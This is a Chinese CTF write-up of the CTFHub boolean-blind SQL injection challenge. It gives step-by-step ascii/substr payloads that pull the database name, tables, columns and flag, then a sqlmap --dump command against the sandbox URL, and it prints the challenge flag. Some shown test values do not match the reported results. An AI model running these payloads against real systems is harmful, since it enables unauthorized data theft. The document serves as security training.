当前位置: 首页 > article >正文

CTFHUB技能树之SQL——布尔盲注

开启靶场,打开链接:

输入1:

显示查询成功但没有回显出相关信息,初步判断是布尔盲注入、时间盲注或报错注入


输入1':

还是没有回显


输入1":

还是没有回显,到这里已经可以确认是布尔盲注了,且是整数型注入


(1)爆数据库

下面为了方便就用burp进行操作:

先判断数据库名的长度:

1 and length(database())=1#

得到数据库名长度是4


下面需要用到ascii表:


先是第一个字符:

1 and ascii(substr(database(),1,1))=100#

说明第一个字符是115,对应字符's'


后面第二、三、四个字符也是类似的步骤:

1 and ascii(substr(database(),2,1))=100#

1 and ascii(substr(database(),3,1))=100#

1 and ascii(substr(database(),4,1))=100#

组合起来就是"sqli"


(2)爆表名

先得爆出表的数量

1 and (select count(table_name) from information_schema.tables where table_schema=database())>2#

显示查询出错,说明表有两个,再试试:

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2#

查询成功,说明表有两个


这里为了节省时间就直接爆第二个表的字符了

(因为知道是news表和flag表)

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=50#

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=50 #

上面这两句就是分别查询数据库的第一个表和第二个表的第一个字符,区别已经用颜色标出


1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

第一个字符是"f",后续就不多描述了,是flag表


(3)爆列名

先爆出列的数量

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=2#

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#


先爆列的第一个字符:

1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = 100#

(ORDER BY ORDINAL_POSITION:按照列的顺序位置排序)

第一个字符是"f",后续就不多描述了,是flag列


(4)爆字段内容(flag)

先爆字段长度:

1 and (select length(flag) from sqli.flag limit 1) = 10 #


1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #

说明第一个字符是"c"


后续流程实在是太长了,就直接用sqlmap直接爆了

python sqlmap.py -u "http://challenge-3178d4a1492b39d2.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{a7709502382fa7e2f7ab5864}


http://www.kler.cn/news/362195.html

相关文章:

  • NGINX 保护 Web 应用安全之基于 IP 地址的访问
  • 《使用Gin框架构建分布式应用》阅读笔记:p88-p100
  • 监控易监测对象及指标之:JBoss 7.1.x中间件监控
  • 算法题总结(十九)——图论
  • 【Unity】Unity中调用手机的震动功能 包括安卓和IOS
  • Vue使用OnlyOffice预览文档方案
  • 前端模块化技术 IIFE、CMD、UMD
  • 智能去毛刺:2D视觉引导机器人如何重塑制造业未来
  • MySQL 指定字段排序
  • 信息搜集 --前端js打点
  • 九、SQL 进阶之路:深入探索数据库查询的艺术
  • Chromium html<textarea>c++接口定义
  • 刷爆leetccode Day7 DP
  • 从程序小白到CTO的10年成长之路(7)
  • 大语言模型赋能病理AI,自动从报告文本中分类TNM分期|顶刊精析·24-10-17
  • [k8s理论知识]5.docker基础(四)Dockerfile构建
  • 微信支付V3 yansongda/pay 踩坑记录
  • 【数组知识的扩展①】
  • 一个基于Vue3开源免费的可快速开发中后台的框架,方便易用,业务没有瓶颈期!(附地址)
  • MySQL 数据库迁移至达梦 DM8 常见问题
  • Jmeter监控服务器性能
  • React源码03 - React 中的更新
  • grafana 配置prometheus
  • 界面控件DevExtreme中文教程 - 如何与Amazon S3和Azure Blob存储集成?
  • Spring XML配置方式和Spring Boot注解方式的详细对照关系
  • Docker-Consul概述以及集群环境搭建